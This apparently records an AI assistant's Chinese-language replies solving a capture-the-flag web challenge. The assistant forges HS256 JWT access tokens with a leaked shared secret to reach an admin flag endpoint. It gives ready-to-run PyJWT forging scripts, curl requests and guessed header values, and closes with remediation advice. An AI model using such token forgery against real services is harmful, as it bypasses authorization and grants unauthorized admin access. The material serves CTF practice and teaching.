下面是这道题的完整分析与利用思路（含可直接复用的 PoC 模板）。

思路概览

• 站点是一个共享同一认证服务器的双应用：普通“friends/profile”前端 + “admin API”。
• token 类型是 JWT HS256（对称密钥！），并且把密钥直接泄露在前端 config.js 里了：
  • k: "ZGV2c2hhcmVkc2VjcmV0" → Base64URL 解码后是 devsharedsecret。
  • kid: "dev-hs"，kty: "oct"，说明这是 对称 JWK。
• 这意味着你可以在本地伪造任意 scope / aud / sub 的 access_token，从而越权调用 admin API。
• /api/flag 会通过 WWW-Authenticate/错误 JSON 告诉你它需要的 scope / audience 等具体要求，据此补齐 claim 再签名即可拿到 flag。

题目描述里“scopes 没有正确强制 & 有泄漏（leak）”——泄漏就是把 HS256 的共享密钥塞进了前端 config.js/JWKS，中间人谁都能签发“合法”token，自然可以越权申请 admin 权限。

关键信息复盘

• 首页右侧“Environment”写明：Token type: access_token (JWT HS256)。
• /.well-known/openid-configuration 返回：
  • issuer: "https://friend.example/oauth"
  • jwks_uri: "http://web300-1.pointeroverflowctf.com/.well-known/jwks.json"
  • scopes_supported: ["openid","profile:read","friends:read"]（注意这里只列了 demo scope；/api/flag 需要的 scope 更严格，会在错误里提示）
  • token_endpoint_auth_methods_supported: ["none"]（进一步表明是个 Demo/弱保护环境）
• /static/config.js（你已经拿到）里给了 JWK：

  json
  {"keys":[{"alg":"HS256","k":"ZGV2c2hhcmVkc2VjcmV0","kid":"dev-hs","kty":"oct"}]}

  ⇒ 对称密钥泄漏：devsharedsecret。

利用路线（实操步骤）

目标：构造一个满足 /api/flag 要求的 HS256 JWT，并用它去拿 flag。

1. 探测 /api/flag 需要什么

   • 不带 token 或带一个普通 profile:read token 去打：

     bash
     curl -i http://web300-1.pointeroverflowctf.com/api/flag
     # 或：
     curl -i http://web300-1.pointeroverflowctf.com/api/flag \
       -H 'Authorization: Bearer <你的profile token>'

   • 观察响应头/体的提示（标准做法是 WWW-Authenticate: Bearer error="insufficient_scope", scope="..." 等）。
   • 记下确切 scope 名（例如 flag:read 或 admin:read 等）以及是否要求aud（例如 aud=admin-api）。

2. 用泄漏的密钥本地签一个“管理员级别”的 access_token

   • Header（保持题面给出的 kid/alg）：

     json
     {"alg":"HS256","kid":"dev-hs","typ":"JWT"}

   • Payload（按 /api/flag 的要求来；以下是模板，把尖括号内容替换成你在步骤 1 里探到的值）：

     json
     {
       "iss": "https://friend.example/oauth",
       "sub": "admin",                 // 或任意；若接口要求特定主体可相应调整
       "aud": "admin-api",             // 若 /api/flag 要求 audience，就填它提示的那个
       "scope": "<从错误提示抄的scope>", // 例：flag:read 或 admin:read
       "iat": <当前Unix秒>,
       "exp": <当前Unix秒+3600>
     }

     有些实现看 scp（数组）而不是 scope（空格分隔字符串）。保险起见可以两个都给： "scp": ["<scope值>"] 与 "scope": "<scope值>" 同时放。

   • 使用任意 JWT 库（Python/Node/OpenSSL 皆可）。下面给两个可直接用的方式：

   A. Python（PyJWT）一把梭：

   python
   # pip install pyjwt
   import jwt, time
   key = "devsharedsecret"  # 从 config.js 解出的明文
   now = int(time.time())
   payload = {
       "iss": "https://friend.example/oauth",
       "sub": "admin",
       "aud": "admin-api",              # 若不需要aud，可删
       "scope": "flag:read",            # 用步骤1探到的真实scope
       "scp": ["flag:read"],            # 兼容某些实现
       "iat": now,
       "exp": now + 3600
   }
   headers = {"alg":"HS256","kid":"dev-hs","typ":"JWT"}
   token = jwt.encode(payload, key, algorithm="HS256", headers=headers)
   print(token)

   B. 直接在 jwt.io

   • Header/Payload 按上面的填好；
   • VERIFY SIGNATURE 里把 Secret 填成 devsharedsecret；
   • 得到签好名的 token。

3. 用你伪造的 token 先打 /api/whoami 自检

   bash
   curl -s http://web300-1.pointeroverflowctf.com/api/whoami \
     -H "Authorization: Bearer <your_forged_token>" | jq

   • 确认服务端成功验签（否则会 401）且能看到你填进去的 iss/aud/scope 等。

4. 打 /api/flag 拿 flag

   bash
   curl -s http://web300-1.pointeroverflowctf.com/api/flag \
     -H "Authorization: Bearer <your_forged_token>" | jq

常见坑位 & 对症排查

• 401 invalid signature / signature verification failed

  • 检查签名算法是否 HS256；
  • 检查密钥是否为明文 devsharedsecret（不是 Base64 字符串，而是解码后的明文）；
  • Header 里 kid 是否为 dev-hs（有些后端会拿这个去选 key）。

• 401 invalid issuer / iss mismatch

  • 把 iss 写成 https://friend.example/oauth（必须与 openid-configuration 里的完全一致）。

• 401/403 invalid audience / aud required

  • /api/flag 很可能要求 aud: "admin-api"（或其它固定值）。按返回提示补齐。

• 403 insufficient_scope

  • scope 名写错/少了。回到第 1 步重新看 WWW-Authenticate 或错误 JSON，照抄它的 scope 名。
  • 有的实现读 scp 数组而不是 scope 字符串——两个都给最稳。

漏洞根因与修复建议（给出题者/复盘）

• 根因：使用对称算法（HS256）并把密钥通过 JWKS/前端配置泄露，相当于任何人都能签发“合法”access_token；scope/audience 再严格也只是“自助填表”，完全不可依赖。
• 修复：
  1. 改为 不对称算法（RS256/ES256）。只发布 公钥 到 jwks_uri，私钥保存在认证服务器。
  2. jwks_uri 必须 HTTPS，避免被中间人替换。
  3. 在资源服务器端严格校验：
     • iss 必须等于受信颁发者；
     • aud 必须是该 API 的 audience（例如 admin-api）；
     • exp/nbf 时间窗；
     • scope（或 scp）包含所需权限，且不要靠前端声明。
  4. 管理类 API 与普通前端应用使用不同的 client / audience / 授权策略；必要时改用后端对后端机密交换或 token 内加 azp/client_id 并做白名单校验。

TL;DR（一条命令的最小化流程）

1. 先看需要的 scope/aud：

   bash
   curl -i http://web300-1.pointeroverflowctf.com/api/flag

2. 用密钥 devsharedsecret（kid=dev-hs）本地签一个含 iss=https://friend.example/oauth、aud=<从上一步看到的>, scope=<从上一步看到的> 的 HS256 JWT。
3. 成功后直接：

   bash
   curl -s http://web300-1.pointeroverflowctf.com/api/flag \
     -H "Authorization: Bearer <forged_jwt>" | jq

就这么简单，flag 到手。祝你一发入魂 🚀

你这个报错基本可以确定是**“token 类型不对”**——/api/flag 不是只看 claims，它还在意 JOSE Header 里的 typ（以及/或 payload 里是否声明为 access token）。你现在的 whoami 能回显 claims，但它不显示 header，所以看不出问题；而 /api/flag 会校验“这是不是一个 access token”。

一步到位的修正

按 RFC 9068 (JWT Access Tokens)，把 JOSE Header 里的 typ 设成 at+jwt（而不是默认的 JWT），然后再签。

• Header（注意 typ）：

json
{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}

• Payload（你已有的就对了，照用）：

json
{
  "iss": "https://friend.example/oauth",
  "sub": "admin",
  "aud": "admin-api",
  "scope": "flag:read",
  "scp": ["flag:read"],
  "iat": <now>,
  "exp": <now+3600>
}

• 密钥还是从 config.js 解出来的明文：devsharedsecret。

PyJWT 最小 PoC

python
# pip install pyjwt
import jwt, time
key = "devsharedsecret"
now = int(time.time())
payload = {
    "iss": "https://friend.example/oauth",
    "sub": "admin",
    "aud": "admin-api",
    "scope": "flag:read",
    "scp": ["flag:read"],
    "iat": now,
    "exp": now + 3600
}
headers = {"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}  # 关键在这行
token = jwt.encode(payload, key, algorithm="HS256", headers=headers)
print(token)

然后直接：

bash
curl -s http://web300-1.pointeroverflowctf.com/api/flag \
  -H "Authorization: Bearer <上面生成的token>" | jq

若仍然提示 invalid_token_type（兜底）

极少数实现会再看 payload 里是否带一种自定义标记。可以再同时加一个 payload 字段（两者并存不冲突）：

json
"token_type": "access_token"

但通常只把 header 的 typ 设为 at+jwt 就能通过。

总结：
你已经把 iss/aud/scope/scp 都弄对了；把 JOSE Header 改成 typ: "at+jwt"（表明这是“access token 的 JWT 轮廓”）再签，就能通过 /api/flag 的“need access_token”检查，拿到 flag。

看起来 /api/flag 在做一个很原始的“token 类型”判断，而不是按 RFC 9068 去识别 typ: "at+jwt"。你现在的 Header 是：

json
{"alg":"HS256","kid":"dev-hs","typ":"at+jwt"}

whoami 不校验类型所以能过；/api/flag 则直接报 invalid_token_type: need access_token。

直接修法（最可能命中）

把 JOSE Header 里的 typ 改成 "access_token"（就是它错误信息里的蛇形写法），其余不变：

• Header：

json
{"alg":"HS256","kid":"dev-hs","typ":"access_token"}

• Payload（你已有的就OK；保留 iss/aud/scope/scp/iat/exp，token_type:"access_token" 可留可不留）：

json
{
  "iss": "https://friend.example/oauth",
  "sub": "admin",
  "aud": "admin-api",
  "scope": "flag:read",
  "scp": ["flag:read"],
  "iat": <now>,
  "exp": <now+3600>
}

• 密钥：devsharedsecret（从 k 解出来的明文）

PyJWT 最小 PoC：

python
import jwt, time
key = "devsharedsecret"
now = int(time.time())
payload = {
    "iss": "https://friend.example/oauth",
    "sub": "admin",
    "aud": "admin-api",
    "scope": "flag:read",
    "scp": ["flag:read"],
    "iat": now,
    "exp": now + 3600
}
headers = {"alg":"HS256","kid":"dev-hs","typ":"access_token"}  # 关键
tok = jwt.encode(payload, key, algorithm="HS256", headers=headers)
print(tok)

然后：

bash
curl -s https://web300-1.pointeroverflowctf.com/api/flag \
  -H "Authorization: Bearer <上面新token>" | jq

兜底备选

如果仍提示类型错误，再试 Header typ: "Bearer"（某些框架这么用）：

json
{"alg":"HS256","kid":"dev-hs","typ":"Bearer"}

（Payload 不变）

解释：这题是刻意把“access token 类型识别”写得很死板；whoami 只回显 claims，/api/flag 额外用 Header 的 typ 进行二分类。把 typ 改成它想要的字符串即可通过。